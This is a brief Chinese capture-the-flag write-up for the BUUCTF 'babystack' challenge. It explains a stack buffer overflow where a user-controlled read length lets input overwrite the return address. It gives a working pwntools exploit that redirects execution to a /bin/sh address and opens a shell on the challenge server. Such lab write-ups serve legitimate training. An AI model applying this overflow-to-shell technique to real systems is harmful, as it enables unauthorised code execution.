BUUCTF-babystack
执行
信息
逆向: /bin/sh 地址为0x4006E6
main函数地址0x4006FB
第二次读入有明显的溢出漏
第一次输入的数据是第二次可读入数据的长度,可由此实现栈溢出,构建exp
from pwn import * p = remote('node4.buuoj.cn',28703) p.sendline('50')#目的是给一个足够大的空间能够输出/bin/sh flag_addr = 0x4006e6 # payload =p64(flag_addr)+b'a'*(0x10+8) 要注意发送字节的顺序,首先填充的是nbytes,所以这条语句会出现EOF payload = b'a'*(0x10+8) + p64(flag_addr) p.sendline(payload) p.interactive() ~